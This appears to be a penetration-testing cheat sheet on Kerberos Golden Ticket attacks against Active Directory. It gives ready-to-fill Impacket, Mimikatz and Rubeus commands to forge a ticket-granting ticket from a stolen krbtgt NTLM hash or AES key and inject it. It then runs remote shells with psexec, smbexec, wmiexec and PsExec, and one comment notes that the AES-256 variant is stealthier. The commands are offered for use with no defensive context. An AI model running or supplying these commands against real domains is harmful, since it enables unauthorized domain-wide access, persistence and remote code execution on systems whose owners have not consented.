# Golden Ticket

## Golden ticket

With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```
